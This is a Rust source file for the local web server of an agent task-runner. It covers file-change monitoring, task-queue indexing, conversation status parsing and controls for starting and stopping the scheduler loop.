1#[cfg(test)]
79pub(crate) mod request_cost;
80
81use std::collections::{HashMap, HashSet};
82use std::convert::Infallible;
83use std::net::{IpAddr, Ipv4Addr, SocketAddr};
84use std::path::{Path as FsPath, PathBuf};
85use std::pin::Pin;
86use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
87use std::time::Duration;
88use tokio::sync::Notify;
89
90use anyhow::{Context, Result};
91use axum::Json;
92use axum::Router;
93use axum::body::Bytes;
94use axum::extract::rejection::JsonRejection;
95use axum::extract::{DefaultBodyLimit, Path, Query, State};
96use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
97use axum::response::sse::{Event, KeepAlive, Sse};
98use axum::response::{IntoResponse, Response};
99use axum::routing::{get, post, put};
100use jiff::Timestamp;
101use serde::{Deserialize, Serialize};
102use tokio_stream::StreamExt as _;
103use tokio_stream::wrappers::ReceiverStream;
104
105use crate::agent;
106use crate::ask::{self, Answer, Question, Questions};
107use crate::config::{AgentKind, Config, Update, UpdateMode};
108use crate::md;
109use crate::notices::{Notice, Notices};
110use crate::persona;
111use crate::persona_icon;
112use crate::proc::Quiet as _;
113use crate::queue::{Queue, Source, Task, TaskStatus, title_from};
114use crate::run::{RunState, RunStatus};
115use crate::talk::{Talk, Talks};
116use crate::{daemon, git, report, repos, run, settings, stats, talk, updater};
117
118pub const DEFAULT_PORT: u16 = 7878;
120
121const POLL: Duration = Duration::from_secs(1);
123
124const KEEPALIVE: Duration = Duration::from_secs(15);
128
129const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
140
141const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
144
145const LIST_DEFAULT: usize = 50;
149const LIST_MAX: usize = 500;
151
152const TITLE_MAX: usize = 72;
154
155const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
164
165const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
171
172const FILENAME_HEADER: &str = "x-filename";
176
177const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
200 font-src data:; base-uri 'none'; form-action 'none'; \
201 frame-ancestors 'self'";
202
203const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
204const APP_CSS: &str = include_str!("../assets/ui/app.css");
205const APP_JS: &str = include_str!("../assets/ui/app.js");
206
207#[derive(Debug, Clone, Copy, PartialEq, Eq)]
209pub enum Bind {
210 Auto,
212 Addr(IpAddr),
214}
215
216impl std::str::FromStr for Bind {
217 type Err = String;
218
219 fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
223 if s.eq_ignore_ascii_case("auto") {
224 return Ok(Self::Auto);
225 }
226 s.parse()
227 .map(Self::Addr)
228 .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
229 }
230}
231
232impl std::fmt::Display for Bind {
233 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
234 match self {
235 Self::Auto => f.write_str("auto"),
236 Self::Addr(addr) => write!(f, "{addr}"),
237 }
238 }
239}
240
241#[derive(Debug, Clone)]
243pub struct Opts {
244 pub bind: Bind,
246 pub port: u16,
248 pub repo: PathBuf,
250 pub open: bool,
253 pub merge: Option<String>,
259}
260
261impl Default for Opts {
262 fn default() -> Self {
263 Self {
264 bind: Bind::Auto,
265 port: DEFAULT_PORT,
266 repo: PathBuf::from("."),
267 open: false,
268 merge: None,
269 }
270 }
271}
272
273mod id_links;
274
275type Stamps = HashMap<String, (u128, u64)>;
276
277fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
279 try_store_stamps(root, runs).unwrap_or_default()
280}
281
282fn try_store_stamps(root: &FsPath, runs: bool) -> std::io::Result<Stamps> {
283 try_stamps(root, runs, false)
284}
285
286fn try_stamps(root: &FsPath, runs: bool, all_entries: bool) -> std::io::Result<Stamps> {
287 use std::hash::{Hash as _, Hasher as _};
288 let entries = match std::fs::read_dir(root) {
289 Ok(entries) => entries,
290 Err(e) if e.kind() == std::io::ErrorKind::NotFound => return Ok(HashMap::new()),
291 Err(e) => return Err(e),
292 };
293 let mut stamps = HashMap::new();
294 for entry in entries {
295 let entry = entry?;
296 let path = if runs {
297 entry.path().join("run.json")
298 } else {
299 entry.path()
300 };
301 if !runs && !all_entries && path.extension().is_none_or(|ext| ext != "json") {
302 continue;
303 }
304 let identity = match file_identity(&path) {
305 Ok(identity) => identity,
306 Err(e) if runs && e.kind() == std::io::ErrorKind::NotFound => continue,
307 Err(e) => return Err(e),
308 };
309 let modified = identity
310 .modified
311 .duration_since(std::time::UNIX_EPOCH)
312 .unwrap_or_default();
313 let mut hasher = std::hash::DefaultHasher::new();
314 identity.hash(&mut hasher);
315 let id = if runs || all_entries {
316 entry.file_name().to_string_lossy().into_owned()
317 } else {
318 path.file_stem()
319 .unwrap_or_default()
320 .to_string_lossy()
321 .into_owned()
322 };
323 stamps.insert(id, (modified.as_nanos(), hasher.finish()));
324 }
325 Ok(stamps)
326}
327
328#[derive(Debug, Serialize)]
329struct Delta {
330 base: u64,
331 changed: Vec<String>,
332 removed: Vec<String>,
333}
334
335fn notice_and_decision_stamps(ui: &Ui) -> std::io::Result<Stamps> {
336 let mut stamps = try_stamps(ui.notices.root(), false, true)?;
337 let inquiries = ui.home.join("notifications").join("task-inquiries");
338 for (id, stamp) in try_stamps(&inquiries, false, false)? {
339 stamps.insert(format!("decision:{id}"), stamp);
340 }
341 Ok(stamps)
342}
343
344fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
345 let mut changed: Vec<_> = next
346 .iter()
347 .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
348 .map(|(id, _)| id.clone())
349 .collect();
350 let mut removed: Vec<_> = previous
351 .keys()
352 .filter(|id| !next.contains_key(*id))
353 .cloned()
354 .collect();
355 changed.sort_unstable();
356 removed.sort_unstable();
357 Delta {
358 base,
359 changed,
360 removed,
361 }
362}
363
364#[cfg(test)]
366fn runs_revision(runs: &FsPath) -> u64 {
367 stamps_revision(&store_stamps(runs, true))
368}
369
370fn stamps_revision(stamps: &Stamps) -> u64 {
374 use std::hash::{Hash as _, Hasher as _};
375 if stamps.is_empty() {
376 return 0;
377 }
378 let mut entries: Vec<_> = stamps.iter().collect();
379 entries.sort_unstable();
380 let mut hasher = std::hash::DefaultHasher::new();
381 entries.hash(&mut hasher);
382 hasher.finish().max(1)
383}
384
385#[derive(Clone, Debug)]
386pub(crate) struct ChangeNotification {
387 pub payload: serde_json::Value,
388}
389
390#[derive(Default, Debug)]
391pub(crate) struct QueueIndex {
392 records: HashMap<String, (FileIdentity, Arc<TaskRelation>)>,
394 #[cfg(test)]
395 reparsed: usize,
396}
397
398#[derive(Clone, Debug)]
399struct TaskRelation {
400 id: String,
401 status: Option<crate::queue::TaskStatus>,
402 priority: i32,
403 runs: Vec<String>,
404 source: Source,
405 chat: Option<String>,
406}
407
408impl From<Task> for TaskRelation {
409 fn from(task: Task) -> Self {
410 Self {
411 id: task.id,
412 status: Some(task.status),
413 priority: task.priority,
414 runs: task.runs,
415 source: task.source,
416 chat: task.chat,
417 }
418 }
419}
420
421#[derive(Debug, PartialEq, Eq, Hash)]
422struct FileIdentity {
423 modified: std::time::SystemTime,
424 len: u64,
425 #[cfg(unix)]
426 identity: (u64, u64, i64, i64),
427}
428
429fn file_identity(path: &FsPath) -> std::io::Result<FileIdentity> {
430 let meta = path.metadata()?;
431 Ok(FileIdentity {
432 modified: meta.modified()?,
433 len: meta.len(),
434 #[cfg(unix)]
435 identity: {
436 use std::os::unix::fs::MetadataExt as _;
437 (meta.dev(), meta.ino(), meta.ctime(), meta.ctime_nsec())
438 },
439 })
440}
441
442type Revisions = (u64, u64, u64, u64, u64, u64);
443type MonitorSnapshot = Option<(Revisions, [Stamps; 3])>;
444
445#[derive(Debug)]
446pub(crate) struct SharedMonitor {
447 pub broadcaster: tokio::sync::broadcast::Sender<ChangeNotification>,
448 pub latest: Arc<Mutex<MonitorSnapshot>>,
449 pub worker_started: std::sync::atomic::AtomicBool,
450 pub queue_index: Arc<Mutex<QueueIndex>>,
451 list_walks: Mutex<Vec<ListWalk>>,
452 disk: Arc<Mutex<DiskObservation>>,
453 health_index: Mutex<HealthIndex>,
454 disk_cache: Mutex<DiskCache>,
455 talk_index: Mutex<HashMap<String, (FileIdentity, TalkListView)>>,
456 talk_status_index: Mutex<TalkStatusIndex>,
457 bulk_slots: Arc<tokio::sync::Semaphore>,
458 talk_core_slots: Arc<tokio::sync::Semaphore>,
459 #[cfg(test)]
460 talk_parses: std::sync::atomic::AtomicUsize,
461}
462
463#[derive(Debug, Default)]
465struct HealthIndex {
466 runs: HashMap<String, (FileIdentity, bool)>,
467 questions: Option<QuestionCounts>,
468 notices: Option<(u64, usize)>,
469 #[cfg(test)]
470 run_parses: usize,
471}
472
473#[derive(Debug, Default)]
476struct TalkStatusIndex {
477 records: HashMap<String, (FileIdentity, Option<talk::TalkStatus>)>,
478 #[cfg(test)]
479 parses: usize,
480}
481
482fn read_talk_status(reader: impl std::io::Read) -> Option<talk::TalkStatus> {
487 use serde::de::{IgnoredAny, MapAccess, Visitor};
488
489 struct StatusHeader<'a>(&'a mut Option<talk::TalkStatus>);
490 impl<'de> Visitor<'de> for StatusHeader<'_> {
491 type Value = ();
492
493 fn expecting(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
494 f.write_str("a conversation header")
495 }
496
497 fn visit_map<A: MapAccess<'de>>(self, mut map: A) -> Result<Self::Value, A::Error> {
498 while let Some(key) = map.next_key::<String>()? {
499 match key.as_str() {
500 "status" => {
501 *self.0 = Some(map.next_value()?);
502 return Err(serde::de::Error::custom("conversation header complete"));
503 }
504 "turns" => {
505 *self.0 = Some(talk::TalkStatus::Open);
506 return Err(serde::de::Error::custom("noncanonical conversation header"));
507 }
508 _ => {
509 map.next_value::<IgnoredAny>()?;
510 }
511 }
512 }
513 Ok(())
514 }
515 }
516
517 let reader = std::io::BufReader::with_capacity(1024, reader.take(64 * 1024));
521 let mut json = serde_json::Deserializer::from_reader(reader);
522 let mut status = None;
523 let result = serde::Deserializer::deserialize_map(&mut json, StatusHeader(&mut status));
526 status.or_else(|| match result {
527 Ok(()) => Some(talk::TalkStatus::Open),
528 Err(error) if error.is_eof() => Some(talk::TalkStatus::Open),
529 Err(_) => None,
530 })
531}
532
533fn open_talk_ids(ui: &Ui, ids: &[String]) -> std::collections::HashSet<String> {
534 open_talk_ids_with(ui, ids, |path| {
535 std::fs::File::open(path).ok().and_then(read_talk_status)
536 })
537}
538
539fn open_talk_ids_with(
540 ui: &Ui,
541 ids: &[String],
542 mut read_status: impl FnMut(&FsPath) -> Option<talk::TalkStatus>,
543) -> std::collections::HashSet<String> {
544 let mut index = ui
545 .monitor
546 .talk_status_index
547 .lock()
548 .unwrap_or_else(PoisonError::into_inner);
549 let present: std::collections::HashSet<_> = ids.iter().collect();
550 index.records.retain(|id, _| present.contains(id));
551 let mut open = std::collections::HashSet::new();
552 for id in ids {
553 let Ok(identity) = file_identity(&ui.talks.path_of(id)) else {
554 index.records.remove(id);
555 continue;
556 };
557 let status = if let Some((old, status)) = index.records.get(id)
558 && *old == identity
559 {
560 *status
561 } else {
562 let status = read_status(&ui.talks.path_of(id));
563 #[cfg(test)]
564 {
565 index.parses += 1;
566 }
567 if file_identity(&ui.talks.path_of(id)).is_ok_and(|after| after == identity) {
568 index.records.insert(id.clone(), (identity, status));
569 } else {
570 index.records.remove(id);
571 }
572 status
573 };
574 if status == Some(talk::TalkStatus::Open) {
575 open.insert(id.clone());
576 }
577 }
578 open
579}
580
581const QUESTION_COUNTS_TTL: Duration = Duration::from_secs(10);
583
584#[derive(Debug)]
585struct QuestionCounts {
586 revision: u64,
587 measured: std::time::Instant,
588 open: usize,
589 owner: usize,
590}
591
592#[derive(Debug, Clone)]
593struct DiskSizes {
594 runs: u64,
595 worktrees: u64,
596 cache: Option<u64>,
597}
598
599#[derive(Debug, Default)]
600struct DiskCache {
601 measured: Option<std::time::Instant>,
602 loading: bool,
603 config: Option<Config>,
604 disk: Option<DiskSizes>,
605 update: Option<UpdateView>,
606}
607
608fn monitor_scan(ui: &Ui, previous: MonitorSnapshot) -> (Revisions, [Stamps; 3]) {
610 let (mut rev, mut stamps) = previous.unwrap_or_default();
611 for (index, root, runs) in [
612 (0, ui.queue.root(), false),
613 (1, ui.runs.as_path(), true),
614 (2, ui.talks.root(), false),
615 ] {
616 if let Ok(next) = try_store_stamps(root, runs) {
617 let value = stamps_revision(&next);
618 match index {
619 0 => rev.0 = value,
620 1 => rev.1 = value,
621 _ => rev.3 = value,
622 }
623 stamps[index] = next;
624 }
625 }
626 if let Ok(next) = try_stamps(ui.questions.root(), false, true) {
627 rev.2 = stamps_revision(&next);
628 }
629 if let Ok(next) = notice_and_decision_stamps(ui) {
630 rev.4 = stamps_revision(&next);
631 }
632 rev.5 = ui.lock_loop().rev;
633 (rev, stamps)
634}
635
636impl SharedMonitor {
637 pub fn new() -> Self {
638 let (tx, _) = tokio::sync::broadcast::channel(64);
639 Self {
640 broadcaster: tx,
641 latest: Arc::default(),
642 worker_started: std::sync::atomic::AtomicBool::new(false),
643 queue_index: Arc::default(),
644 list_walks: Mutex::default(),
645 disk: Arc::default(),
646 health_index: Mutex::default(),
647 disk_cache: Mutex::default(),
648 talk_index: Mutex::default(),
649 talk_status_index: Mutex::default(),
650 bulk_slots: Arc::new(tokio::sync::Semaphore::new(2)),
651 talk_core_slots: Arc::new(tokio::sync::Semaphore::new(2)),
652 #[cfg(test)]
653 talk_parses: std::sync::atomic::AtomicUsize::new(0),
654 }
655 }
656
657 async fn revisions(&self, ui: &Arc<Ui>) -> ApiResult<Revisions> {
658 let mut receiver = self.broadcaster.subscribe();
659 self.ensure_worker(ui);
660 loop {
661 if let Some((revisions, _)) = self
662 .latest
663 .lock()
664 .unwrap_or_else(PoisonError::into_inner)
665 .as_ref()
666 {
667 return Ok(*revisions);
668 }
669 tokio::time::timeout(Duration::from_secs(5), receiver.recv())
670 .await
671 .map_err(|_| ApiError::internal("Store monitoring is unavailable; retry"))?
672 .map_err(|_| ApiError::internal("Store monitoring restarted; retry"))?;
673 }
674 }
675
676 pub fn ensure_worker(&self, ui: &Arc<Ui>) {
677 if self
678 .worker_started
679 .compare_exchange(
680 false,
681 true,
682 std::sync::atomic::Ordering::SeqCst,
683 std::sync::atomic::Ordering::SeqCst,
684 )
685 .is_err()
686 {
687 return;
688 }
689
690 let weak_ui = Arc::downgrade(ui);
691 tokio::spawn(async move {
692 let mut ticker = tokio::time::interval(POLL);
693 loop {
694 ticker.tick().await;
695 let Some(ui) = weak_ui.upgrade() else {
696 break;
697 };
698
699 let previous = ui
700 .monitor
701 .latest
702 .lock()
703 .unwrap_or_else(PoisonError::into_inner)
704 .clone();
705 let state = Arc::clone(&ui);
706 let scan =
707 tokio::task::spawn_blocking(move || monitor_scan(&state, previous)).await;
708
709 ticker.reset();
711 let Ok((revisions, next_stamps)) = scan else {
712 continue;
713 };
714
715 let mut latest_guard = match ui.monitor.latest.lock() {
716 Ok(g) => g,
717 Err(p) => p.into_inner(),
718 };
719
720 let previous = latest_guard.take();
721 let (last_rev, prev_stamps) = match previous {
722 Some((r, s)) => (Some(r), Some(s)),
723 None => (None, None),
724 };
725
726 if last_rev == Some(revisions) {
727 *latest_guard = Some((revisions, prev_stamps.unwrap_or(next_stamps)));
728 continue;
729 }
730
731 let mut payload = serde_json::json!({
732 "queue_rev": revisions.0,
733 "runs_rev": revisions.1,
734 "questions_rev": revisions.2,
735 "talks_rev": revisions.3,
736 "notifications_rev": revisions.4,
737 "loop_rev": revisions.5,
738 });
739
740 if let (Some(base), Some(prev)) = (last_rev, prev_stamps.as_ref()) {
741 for (index, (key, rev)) in [
742 ("queue_delta", base.0),
743 ("runs_delta", base.1),
744 ("talks_delta", base.3),
745 ]
746 .into_iter()
747 .enumerate()
748 {
749 let delta = diff_stamps(&prev[index], &next_stamps[index], rev);
750 if delta.changed.len() + delta.removed.len() > 0
751 && delta.changed.len() <= 50
752 {
753 payload[key] = serde_json::to_value(delta).expect("serializable delta");
754 }
755 }
756 }
757
758 *latest_guard = Some((revisions, next_stamps));
759 drop(latest_guard);
760
761 let _ = ui.monitor.broadcaster.send(ChangeNotification { payload });
762 }
763 });
764 }
765}
766
767#[derive(Debug, Clone)]
773pub struct Ui {
774 queue: Queue,
775 questions: Questions,
776 notices: Notices,
779 talks: Talks,
780 runs: PathBuf,
781 references: Arc<id_links::IndexCache>,
782 home: PathBuf,
783 repo: PathBuf,
784 worktrees_root: PathBuf,
791 talk_turns: Arc<Mutex<TalkTurns>>,
799 admissions: Arc<tokio::sync::RwLock<bool>>,
802 upgrade_gate: Arc<tokio::sync::Mutex<()>>,
806 upgrade_spawned: Arc<std::sync::atomic::AtomicBool>,
809 upgrade_request_error: Arc<Mutex<Option<UpgradeRequestFailure>>>,
811 auto_failed_tag: Arc<Mutex<Option<String>>>,
812 upgrade_runner: UpgradeRunner,
813 resuming: Arc<Mutex<HashSet<String>>>,
821 repos_cache: repos::Cache,
825 machine_config: Option<PathBuf>,
829 merge: Option<String>,
831 looping: Arc<Mutex<LoopState>>,
833 #[cfg(test)]
835 launch: Launch,
836 #[cfg(test)]
839 busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
840 pub(crate) monitor: Arc<SharedMonitor>,
841}
842
843type AdmissionGuard = tokio::sync::OwnedRwLockReadGuard<bool>;
844
845#[cfg(test)]
865struct BusyQueueGate {
866 reached: tokio::sync::oneshot::Sender<()>,
867 release: std::sync::mpsc::Receiver<()>,
868}
869
870#[cfg(test)]
871impl std::fmt::Debug for BusyQueueGate {
872 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
873 f.debug_struct("BusyQueueGate").finish_non_exhaustive()
874 }
875}
876
877impl Ui {
878 pub fn new(
880 queue: Queue,
881 questions: Questions,
882 talks: Talks,
883 runs: PathBuf,
884 home: PathBuf,
885 repo: PathBuf,
886 ) -> Self {
887 Self {
888 queue,
889 questions,
890 notices: Notices::at(home.join("notifications")),
891 talks,
892 runs,
893 references: Arc::default(),
894 home,
895 repo,
896 worktrees_root: run::default_worktree_root(),
900 talk_turns: Arc::default(),
901 admissions: Arc::default(),
902 upgrade_gate: Arc::default(),
903 upgrade_spawned: Arc::default(),
904 upgrade_request_error: Arc::default(),
905 auto_failed_tag: Arc::default(),
906 upgrade_runner: |home| Box::pin(upgrade_and_restart(home)),
907 resuming: Arc::default(),
908 repos_cache: repos::Cache::new(),
909 machine_config: Config::machine_layer(),
910 merge: None,
911 looping: Arc::default(),
912 #[cfg(test)]
913 launch: launch_daemon,
914 #[cfg(test)]
915 busy_queue_gate: Arc::default(),
916 monitor: Arc::new(SharedMonitor::new()),
917 }
918 }
919
920 fn indexed_tasks(&self) -> ApiResult<Vec<Arc<TaskRelation>>> {
923 let mut index = self
924 .monitor
925 .queue_index
926 .lock()
927 .unwrap_or_else(PoisonError::into_inner);
928 let entries = match std::fs::read_dir(self.queue.root()) {
929 Ok(entries) => entries,
930 Err(e) if e.kind() == std::io::ErrorKind::NotFound => {
931 index.records.clear();
932 return Ok(Vec::new());
933 }
934 Err(e) => return Err(anyhow::Error::from(e).into()),
935 };
936 let mut seen = HashSet::new();
937 for entry in entries {
938 let path = entry.map_err(anyhow::Error::from)?.path();
939 if path.extension().is_none_or(|ext| ext != "json") {
940 continue;
941 }
942 let Some(id) = path.file_stem().and_then(|s| s.to_str()) else {
943 continue;
944 };
945 let stamp = file_identity(&path).map_err(anyhow::Error::from)?;
946 seen.insert(id.to_owned());
947 if !cfg!(unix) || index.records.get(id).is_none_or(|(old, _)| *old != stamp) {
950 let Ok(task) = self.queue.get(id) else {
951 if let Some((_, record)) = index.records.get_mut(id) {
957 Arc::make_mut(record).status = None;
958 }
959 continue;
960 };
961 #[cfg(test)]
962 {
963 index.reparsed += 1;
964 }
965 if file_identity(&path).map_err(anyhow::Error::from)? != stamp {
966 return Err(ApiError::conflict("Queue changed during read; retry"));
967 }
968 index
969 .records
970 .insert(id.to_owned(), (stamp, Arc::new(TaskRelation::from(task))));
971 }
972 }
973 index.records.retain(|id, _| seen.contains(id));
974 let mut tasks: Vec<_> = index
975 .records
976 .values()
977 .map(|(_, task)| task.clone())
978 .collect();
979 tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
980 Ok(tasks)
981 }
982
983 fn find_task_for_run(&self, run_id: &str) -> ApiResult<Option<Task>> {
984 let Some(record) = self
985 .indexed_tasks()?
986 .into_iter()
987 .find(|task| task.runs.iter().any(|id| id == run_id))
988 else {
989 return Ok(None);
990 };
991 let task = self.queue.get(&record.id)?;
992 if !task.runs.iter().any(|id| id == run_id) {
993 return Err(ApiError::conflict("Task relationship changed; retry"));
994 }
995 Ok(Some(task))
996 }
997
998 fn find_tasks_for_talk(&self, talk_id: &str) -> ApiResult<Vec<Task>> {
999 self.indexed_tasks()?
1000 .into_iter()
1001 .filter(|task| {
1002 task.chat.as_deref() == Some(talk_id)
1003 || matches!(&task.source, Source::Agent { run, .. } if run == talk_id)
1004 })
1005 .map(|record| {
1006 let task = self.queue.get(&record.id)?;
1007 if task.chat.as_deref() != Some(talk_id)
1008 && !matches!(&task.source, Source::Agent { run, .. } if run == talk_id)
1009 {
1010 return Err(ApiError::conflict("Task relationship changed; retry"));
1011 }
1012 Ok(task)
1013 })
1014 .collect()
1015 }
1016
1017 pub fn open(repo: PathBuf) -> Self {
1020 Self::new(
1021 Queue::open(),
1022 Questions::open(),
1023 Talks::open(),
1024 run::runs_root(),
1025 run::home(),
1026 repo,
1027 )
1028 }
1029
1030 #[must_use]
1037 pub fn with_merge(mut self, merge: Option<String>) -> Self {
1038 self.merge = merge;
1039 self
1040 }
1041
1042 #[cfg(test)]
1045 #[must_use]
1046 fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
1047 self.machine_config = path;
1048 self
1049 }
1050
1051 #[must_use]
1056 pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
1057 self.worktrees_root = root;
1058 self
1059 }
1060
1061 #[cfg(test)]
1066 #[must_use]
1067 fn with_launch(mut self, launch: Launch) -> Self {
1068 self.launch = launch;
1069 self
1070 }
1071
1072 #[cfg(test)]
1082 fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
1083 *self
1084 .busy_queue_gate
1085 .lock()
1086 .unwrap_or_else(PoisonError::into_inner) = Some(gate);
1087 }
1088
1089 fn begin_admission(&self) -> ApiResult<AdmissionGuard> {
1092 let guard = Arc::clone(&self.admissions)
1093 .try_read_owned()
1094 .map_err(|_| ApiError::conflict("web restart in progress; retry this message"))?;
1095 if *guard {
1096 return Err(ApiError::conflict(
1097 "web restart in progress; retry this message",
1098 ));
1099 }
1100 Ok(guard)
1101 }
1102
1103 async fn start_detached_loop(&self) -> ApiResult<()> {
1105 if self
1106 .upgrade_spawned
1107 .load(std::sync::atomic::Ordering::SeqCst)
1108 {
1109 return Err(ApiError::conflict("an upgrade is in progress"));
1110 }
1111 let reading = daemon::read_status(&self.home);
1112 if let Some(other) = Foreign::of(reading.as_ref()) {
1113 return Err(ApiError::conflict(format!(
1114 "{} is still running a legacy scheduler; finish or park it before starting the independent scheduler.",
1115 other.who()
1116 )));
1117 }
1118 let jobs = crate::worker::active(&self.home).map_err(ApiError::from)?;
1119 let control = crate::worker::control(&self.home, "scheduler").map_err(ApiError::from)?;
1120 let scheduler_running = jobs.iter().any(|job| job.kind == "scheduler")
1121 || reading.is_some_and(|reading| {
1122 reading.worker_protocol == Some(1) && reading.running(Timestamp::now())
1123 });
1124 if control.is_some() && scheduler_running {
1125 return Err(ApiError::conflict(
1126 "the scheduler is still stopping; retry Start after it has stopped",
1127 ));
1128 }
1129 if !jobs.iter().any(|job| job.kind == "scheduler") {
1130 let available =
1131 crate::worker::try_lease(&self.home, "scheduler").map_err(ApiError::from)?;
1132 if available.is_none() {
1133 return Err(ApiError::conflict(
1134 "the scheduler is still running or stopping; retry after its transition completes",
1135 ));
1136 }
1137 drop(available);
1138 }
1139 let opts = daemon::Opts {
1140 repo: self.repo.clone(),
1141 merge: self.merge.clone(),
1142 worktrees_root: Some(self.worktrees_root.clone()),
1143 ..daemon::Opts::default()
1144 };
1145 daemon::spawn_detached(&self.home, &opts)
1146 .await
1147 .map_err(ApiError::from)?;
1148 let mut state = self.lock_loop();
1149 state.last_error = None;
1150 state.rev += 1;
1151 Ok(())
1152 }
1153
1154 #[cfg(test)]
1161 fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
1162 if let Some(other) = foreign {
1163 return Err(ApiError::conflict(format!(
1164 "{} is already running the loop, so this one will not start a \
1165 second: two loops on one queue race for the same claims and \
1166 burn the agent quota twice over. Stop it where it was \
1167 started.",
1168 other.who()
1169 )));
1170 }
1171 let mut state = self.lock_loop();
1172 if self
1173 .upgrade_spawned
1174 .load(std::sync::atomic::Ordering::SeqCst)
1175 {
1176 return Err(ApiError::conflict("an upgrade is in progress"));
1177 }
1178 if state.live.as_ref().is_some_and(Live::alive) {
1179 return Err(ApiError::conflict(format!(
1180 "this magi web process (pid {}) is already running the loop",
1181 std::process::id()
1182 )));
1183 }
1184
1185 let stop = daemon::Stop::new();
1186 let opts = daemon::Opts {
1190 repo: self.repo.clone(),
1191 merge: self.merge.clone(),
1192 worktrees_root: Some(self.worktrees_root.clone()),
1199 ..daemon::Opts::default()
1200 };
1201 let launch = self.launch;
1202 let looping = Arc::clone(&self.looping);
1203 let handle = tokio::spawn({
1204 let opts = opts.clone();
1205 let stop = stop.clone();
1206 async move {
1207 let failure = match launch(opts, stop).await {
1208 Ok(()) => None,
1209 Err(e) => Some(format!("{e:#}")),
1210 };
1211 match &failure {
1212 Some(why) => tracing::error!("the loop stopped: {why}"),
1213 None => tracing::info!("the loop stopped"),
1214 }
1215 let mut state = lock_or_recover(&looping);
1221 state.live = None;
1222 state.last_error = failure;
1223 state.rev += 1;
1224 }
1225 });
1226 tracing::info!(
1227 "the loop is now running in this process: repo {}, merge {}",
1228 opts.repo.display(),
1229 opts.merge.as_deref().unwrap_or("as the config says")
1230 );
1231 state.live = Some(Live { stop, handle, opts });
1232 state.last_error = None;
1235 state.rev += 1;
1236 Ok(())
1237 }
1238
1239 fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
1245 if let Some(other) = foreign {
1246 return Err(ApiError::conflict(format!(
1247 "the loop belongs to {}, and this process cannot stop it - \
1248 stop it where it was started. A button that silently did \
1249 nothing would be worse than this refusal.",
1250 other.who()
1251 )));
1252 }
1253 #[cfg(not(test))]
1254 {
1255 daemon::request_control(
1256 &self.home,
1257 if park {
1258 crate::worker::Control::Park
1259 } else {
1260 crate::worker::Control::Stop
1261 },
1262 )
1263 .map_err(ApiError::from)?;
1264 self.lock_loop().rev += 1;
1265 Ok(())
1266 }
1267 #[cfg(test)]
1268 {
1269 let mut state = self.lock_loop();
1270 let Some(live) = state.live.as_ref() else {
1271 return Ok(());
1272 };
1273 if live.stop.stopped() && (!park || live.stop.parking()) {
1277 return Ok(());
1278 }
1279 if park {
1280 live.stop.park(crate::run::ParkCause::Operator);
1281 tracing::info!(
1282 "the loop was asked to park; the run stops at its next node boundary"
1283 );
1284 } else {
1285 live.stop.stop();
1286 tracing::info!("the loop was asked to stop; a run in flight is finished first");
1287 }
1288 state.rev += 1;
1289 Ok(())
1290 }
1291 }
1292
1293 #[cfg(not(test))]
1300 fn try_loop_view(&self, reading: Option<daemon::Reading>) -> ApiResult<LoopView> {
1301 let jobs = crate::worker::active(&self.home).map_err(|error| {
1302 ApiError::internal(format!("cannot read independent worker state: {error:#}"))
1303 })?;
1304 Ok(self.runtime_loop_view(reading, &jobs))
1305 }
1306
1307 #[cfg(test)]
1308 fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
1309 let state = self.lock_loop();
1310 let live = state.live.as_ref().filter(|live| live.alive());
1313 LoopView {
1314 running: live.is_some(),
1315 stopping: live.is_some_and(|live| live.stop.finishing()),
1316 parking: live.is_some_and(|live| live.stop.parking()),
1317 owned: live.is_some(),
1318 repo: live
1319 .map_or(&self.repo, |live| &live.opts.repo)
1320 .display()
1321 .to_string(),
1322 merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
1323 last_error: state.last_error.clone(),
1324 daemon: DaemonView::of(reading),
1325 }
1326 }
1327
1328 fn runtime_loop_view(
1330 &self,
1331 reading: Option<daemon::Reading>,
1332 jobs: &[crate::worker::Job],
1333 ) -> LoopView {
1334 let scheduler = jobs.iter().find(|job| job.kind == "scheduler");
1335 let reporting = reading
1336 .as_ref()
1337 .is_some_and(|r| r.running(Timestamp::now()));
1338 let managed = scheduler.is_some()
1339 || (reporting
1340 && reading
1341 .as_ref()
1342 .is_some_and(|r| r.worker_protocol == Some(1)));
1343 let control = crate::worker::control(&self.home, "scheduler")
1344 .ok()
1345 .flatten();
1346 let persisted = if managed && scheduler.is_none() {
1349 std::fs::read(self.home.join("scheduler-options.json"))
1350 .ok()
1351 .and_then(|bytes| serde_json::from_slice::<daemon::Opts>(&bytes).ok())
1352 } else {
1353 None
1354 };
1355 let repo = scheduler
1356 .and_then(|job| job.payload.get("repo"))
1357 .and_then(serde_json::Value::as_str)
1358 .map(str::to_owned)
1359 .or_else(|| {
1360 persisted
1361 .as_ref()
1362 .map(|opts| opts.repo.display().to_string())
1363 })
1364 .unwrap_or_else(|| self.repo.display().to_string());
1365 let merge = match scheduler {
1366 Some(job) => job
1367 .payload
1368 .get("merge")
1369 .and_then(serde_json::Value::as_str)
